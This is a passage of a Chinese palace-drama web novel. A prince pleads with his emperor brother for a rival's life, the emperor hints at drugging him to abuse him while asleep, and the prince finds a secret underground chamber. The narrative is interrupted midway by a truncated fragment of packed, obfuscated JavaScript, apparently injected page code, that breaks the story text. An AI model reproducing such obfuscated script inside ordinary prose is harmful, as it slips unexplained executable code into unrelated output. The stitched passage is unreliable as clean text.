李修宜将他两只手揽住,将人更往怀里按了按,乐湛任他搂着抱着,安静得好似一尊人偶,陪着李修宜看了好一会奏折,乐湛偏偏头,就对上李修宜突出的喉结,他又昂起了头瞧着李修宜,“哥哥,我想求你一件事。” 见李修宜未吭声,就是让他说下去的意思,“方才东平王拦了我的路,让我求哥哥饶恕李锦玉一条命。” 李修宜缄默了好一会,“你要替李锦玉求情?” “很难说,”乐湛扣手,“你知道我向来跟李锦玉不对付,我巴不得他去死,就是没想到东平王平时那么眼高于顶的一个人,能为了李锦玉要给我下跪,挺……挺烦人的。” “那是他应得的,惯子如杀子,最后的代价也该他承担。” 乐湛没料到李修宜的杀心如此决绝,要真论起来他所犯下的罪行比李锦玉大多了。 李修宜见他沉思没说话,低头看了一眼,手里搂着的力道紧了紧,故意打断了他的惘想,声音带了十足的警惕,“你的意思呢?被感动了?” 乐湛再三斟酌,“我吗?我只是没想到以他的作风,会将那道空白诏书留给我,感动倒不至于,就是单纯有些惊讶而已,就是因为我讨厌他,所以更不想让他到死都以为我还欠着他这道人情,让所有人以为我被赦免是因为他。” “确定想好了?就算他对你做出那种事,你还是要为了他向我求情。” 乐湛想了想,“是。” “就当是恩怨一笔勾销了吧,而且哥哥原本也不是因为那道诏书才赦免我的对吧,你本来就不想怪罪 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“你们什么关系?用得着你来谢我,叫他自己来。”李修宜不紧不慢地落笔,貌似不高兴,但也不全然,因为他的嘴角还挑着一丝若有似无的弧度。 “当然不是为了李锦玉,我是谢哥哥给我一个清净。” 李修宜将草拟的诏书拿起到他跟前,“过过目吧,看看满意吗?” 他存心折煞乐湛,乐湛赶紧将他的手臂按下,“我能有什么好挑剔的?哥哥说定了就是。” 李修宜将手谕拿给何岑,警告乐湛道,“以后离他远点,李锦玉不是什么好东西。” “我避着他点就是了。” 就算不说,乐湛也会对这个恶心人的死断袖有多远跑多远。 乐湛还没喝药,因而困意尚未浮上来,可李修宜看着他那张惯会蛊惑人心的脸,又有些牙尖痒痒,心驰神摇,“我应承了你一件事,你该拿什么来还我?” 乐湛诧异道:“还要我还?” “怎么,欠李锦玉的人情就是人情,欠我的就不是了,自然是要还的。” 乐湛耍起赖皮,“那我不给他求情了,你还是去杀李锦玉吧。” 李修宜又紧了紧他,“旨意已经下去了,现在反悔了?晚了。” 乐湛被掐得喘不过气,从紧锢的手臂里抽出一只手来才得以长呼一口气,“我什么都没有,要怎么还?我拿李锦玉的命来还行不行?” 乐湛现在别提多后悔了,明知道向李祯求情会横生枝节,偏偏要多此一举。 “好好想想,用你能还的还。”李修宜的声音有些低哑,引导着全然无知的乐湛往那方面想。 乐湛茫然想了一阵。 他如今能有的,不就只有这条命了吗? 李祯想要他的命?? 乐湛被过隙的念头吓了一跳,忍不住打了个寒颤。 这时候药送到了,李修宜眼神点点那晚漆黑的药,眼中暗色汹涌。 “把药喝了,我来告诉你该拿什么还。” 26.父子相见 这分明就是恐吓来的吧! 可乐湛又隐隐感觉到李修宜的心情似是很好,正是软磨硬泡的好时机,乐湛很小声地说,“今天不喝药可以吗?我不想再睡觉了。” 李修宜:“少在这里跟我讨价还价。” 乐湛感觉腰侧的位置似乎被什么硬物硌得有些不舒服,猜测是玉佩之类的东西,于是撑着身挪了挪。 但是他忘了一件事,李修宜身上不喜欢带任何装饰。 乐湛专门挑李修宜爱听的话讲,“还不是因为每天跟你相处的时间太短了,匆匆一面,一天就过去了,就不能让我多陪你一会儿吗?” 李修宜很微妙地笑笑。 他不睡过去,自己又怎么方便做些畜牲行径呢。 李修宜搡了搡他装的入神的脑袋,“别拿我当借口。” 乐湛惯会卖乖讨巧,瞧着李修宜心情很好,是可以开些无伤大雅的玩笑的,于是嬉笑说,“为什么一定是借口呢,万一是真心诚意呢?” 李修宜捂住他哄死人不偿命的嘴,很溺爱地道,“真是,拿你这张嘴怎么办好。” 乐湛抬手就要去扯李修宜的手,两人闲闹间,就听何岑上前禀告称段太师以及齐尚书等人有事求见。 李修宜还搂着乐湛,沉吟一会儿,这会儿还不想放开他,低头贴着他的面颊耳鬓厮磨了好一阵才说,“去上华宫等我,我忙完回来陪你,自己把药喝了,别让我发现你又偷奸耍滑。” 乐湛忽然从某种虚幻不实的梦境里被拔出来,他看得出来李修宜玩笑和认真之间的细微差别,再不敢继续造次,“我知道了。” 小时候乐湛经常见不着李修宜的人影,就会跑到他的寝殿去蹲守,心想李修宜就算再忙总得回寝殿睡觉,再加上他素来不沉溺与情爱之事,他也不怕撞上什么外人回避的场面。 李修宜暧昧不明的态度总是让乐湛有了一种错觉,好像又过上了十来岁的日子。 那些年宫里的势力争端一日也没有平息,纵使血雨阴霾笼罩在皇城之上,但是只要他还在永乐宫一日,那些风雨永远有母后和李修宜去承担,他只用在他们的庇护下远离风暴的漩涡,做一个自在的闲人。 而这就该是他一开始所设想的结果,李修宜即位称帝,他就便做一个百无一用的闲王,没事了赏赏花逗逗鸟,时不时进趟宫,兄弟俩还跟小时候一样同榻而卧,彻夜长谈。 本该是这样的。 结果兜兜转转,绕了那么大一圈弯路,又回到了原地。 或许真的他从一开始就做错了,李修宜自幼是被当作帝王培养的,他的所行所举都完美契合那个九五至尊的位置,乐湛不该不知死活地去跟他争,这样就不会又后面拉拉杂杂的一堆烂事。 所幸不管他偏轨偏的有多远,李修宜总是愿意顾及旧情拉他一把,让他重新回到既定的道路上去。 上华宫守卫未设阻拦,乐湛一路畅通无阻。 寝殿华丽有余,却没什么多余的陈设,只有堆积整齐的案牍在桌案上摆着,显得有些不近人情的空旷。 乐湛随手翻看了两卷,片刻后又觉得他不要碰手政务比较好,又合好放了下去。 转了一圈,发现这里跟以前在东宫的时候没太大区别,反而因上华宫过分奢靡恢宏,显得这里头无欲无求的摆设过于留白了,好像这里真的只是一个栖身睡觉的地方,除此以外没有任何用处。 大殿的侧墙,那里有一扇暗门。 从前杜获手握西北军防,乐湛日日夜夜担心他举兵逼宫,所以巧用狡兔三窟之计,这宫里的大小暗道他了熟于心,说不定哪天就有用武之地。 李祯现在虽是对他没有杀心,但难保哪天就要顾及萧家,顾及功臣而要了他的性命,他的生母不就是这么死的吗? 届时他对暗道的熟悉或许可以救他一命。 乐湛踩在了金砖的机关上,暗门忽然内陷,轰然开启。 机会就摆在这里,他想趁着李修宜不在悄悄去看一眼,瞧瞧地道有没有被堵上,可行至一半,他就感觉到了不对劲的地方。 这里没有侍卫看守,就说明不是什么重要的地方,按理来说这么就没有人踏足应该有灰尘呛鼻才是,但这里不但没有灰尘,地砖上反而光洁照人,黑暗的深处有一股熟悉的恶臭。 他应该在哪里闻到过。 越往里走,光线被折角吞灭,几乎伸手看不见五指,乐湛心中已经隐隐有了一种直觉,这地方太危险了,处处透露着诡异与不寻常。 不行!他不能继续往前走下去了,一旦被李修宜发现,后果不堪设想。 正准备回头,就在这时候听见了一声啼鸣。 那声音很粗很沙哑,像是鸟又像是鸡,乐湛原本想折返的念头被短暂地打消,取而代之的是警惕和惊讶。 这里头哪来的鸟?正想着,也就往里面多走了两步。 谁想里头那东西听见了动静竟然惨烈地嘶喊起来,几乎是扯着嗓子泣血之声,吓得乐湛心脏骤然一缩,在楼梯上滑了一跤,磕到了尾椎,疼得半天没能站起来。 奇怪的预感愈发强烈,像是一片阴翳笼罩在心头上,那感觉牵引着他,几乎不受控制,他借着微弱的光线往里面走,又过了一道拐角,地道里的一切豁然开朗。 看清了这里的全貌,乐湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乐湛大脑一片空白,甚至载不动任何一个念头,所有的震惊,恐惧,难以置信都被揉成一团,伴着一点星子的光亮彻底坠入黑暗,只有本能的求生欲望在脑海里叫嚣。 快走!他必须马上出去! 乐湛猛然转身,步伐急切地朝着阶梯冲上去,只是还没跑两步就被一道浓黑的身影挡住了去路。 “谁让你进来的。” 声音不声不响地出现在了乐湛头顶不足三寸的地方,悚然抬头,就看见李修宜背着光漠然伫立在楼梯上的轮廓身影。 乐湛没站稳两腿一软瘫坐在地,他想说话却一个字也说不出来,只从颤抖的牙缝里泄出一个字,“……哥。”